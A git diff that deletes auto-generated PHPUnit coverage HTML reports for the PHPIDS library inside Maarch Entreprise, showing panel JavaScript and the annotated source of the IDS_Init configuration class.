"header": "1 test covers line 334", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel335": { - "header": "1 test covers line 335", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel336": { - "header": "1 test covers line 336", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel337": { - "header": "1 test covers line 337", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel338": { - "header": "1 test covers line 338", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel339": { - "header": "1 test covers line 339", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel340": { - "header": "1 test covers line 340", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel341": { - "header": "1 test covers line 341", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel342": { - "header": "1 test covers line 342", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel343": { - "header": "1 test covers line 343", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel345": { - "header": "1 test covers line 345", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel346": { - "header": "1 test covers line 346", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel347": { - "header": "1 test covers line 347", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel348": { - "header": "1 test covers line 348", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel349": { - "header": "1 test covers line 349", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel351": { - "header": "1 test covers line 351", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel352": { - "header": "1 test covers line 352", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel353": { - "header": "1 test covers line 353", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel354": { - "header": "1 test covers line 354", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel355": { - "header": "1 test covers line 355", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel357": { - "header": "1 test covers line 357", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel358": { - "header": "1 test covers line 358", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel363": { - "header": "1 test covers line 363", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel364": { - "header": "1 test covers line 364", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel365": { - "header": "1 test covers line 365", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel367": { - "header": "1 test covers line 367", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel373": { - "header": "1 test covers line 373", - "body": "<ul><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Init.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Init.php.html deleted file mode 100755 index 35f317ea7c63013a0628ee5326e11d079e0a90bd..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Init.php.html +++ /dev/null @@ -1,822 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Init.php.html">Init.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">9 / 9</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">42 / 42</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#51">IDS_Init</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">9 / 9</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">42 / 42</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#85">private function __construct($configPath = NULL)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#103">public function __clone()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#115">public static function init($configPath = NULL)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#132">public function setConfigPath($path)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#149">public function getConfigPath()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#161">public function getBasePath()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#178">public function setConfig(array $config, $overwrite = false)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">5 / 5</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#198">protected function _mergeConfig($current, $successor)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">11 / 11</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#220">public function getConfig()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * Framework initiation -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * This class is used for the purpose to initiate the framework and inhabits -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * functionality to parse the needed configuration file. -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * @category Security -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @package PHPIDS -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @copyright 2007 The PHPIDS Groupup -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @version Release: $Id:Init.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @since Version 0.4 -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : */ -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : class IDS_Init -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : { -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : /** -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : * Holds config settings -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * @var array -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : */ -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : public $config = array(); -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : /** -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : * Instance of this class depending on the supplied config file -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : * -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : * @var array -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : * @static -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : */ -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : private static $instances = array(); -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : /** -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : * Path to the config file -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : * -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : * @var string -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : */ -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : private $configPath = null; -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : /** -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : * Constructor -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : * -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : * Includes needed classes and parses the configuration file -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : * -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : * @param string $configPath the path to the config file -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : * -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : * @return object $this -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : */ -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : private function __construct($configPath = null) -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : { -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span><span class="lineCov"> 3 : include_once 'IDS/Monitor.php'; </span> -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span><span class="lineCov"> 3 : include_once 'IDS/Filter/Storage.php'; </span> -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span><span class="lineCov"> 3 : if ($configPath) { </span> -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span><span class="lineCov"> 2 : $this->setConfigPath($configPath); </span> -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span><span class="lineCov"> 1 : $this->config = parse_ini_file($this->configPath, true); </span> -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span> : -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span> : /** -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span> : * Permitting to clone this object -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span> : * -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span> : * For the sake of correctness of a singleton pattern, this is necessary -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span> : * -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span> : * @return void -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span> : */ -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span> : public final function __clone() -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span> : { -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span> : -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span> : /** -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : * Returns an instance of this class. Also a PHP version check -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : * is being performed to avoid compatibility problems with PHP < 5.1.6 -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span> : * -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span> : * @param string $configPath the path to the config file -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span> : * -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : * @return object -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span> : */ -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span> : public static function init($configPath = null) -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span> : { -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span><span class="lineCov"> 67 : if (!isset(self::$instances[$configPath])) { </span> -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span><span class="lineCov"> 3 : self::$instances[$configPath] = new IDS_Init($configPath); </span> -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span> : -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span><span class="lineCov"> 67 : return self::$instances[$configPath]; </span> -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span><span 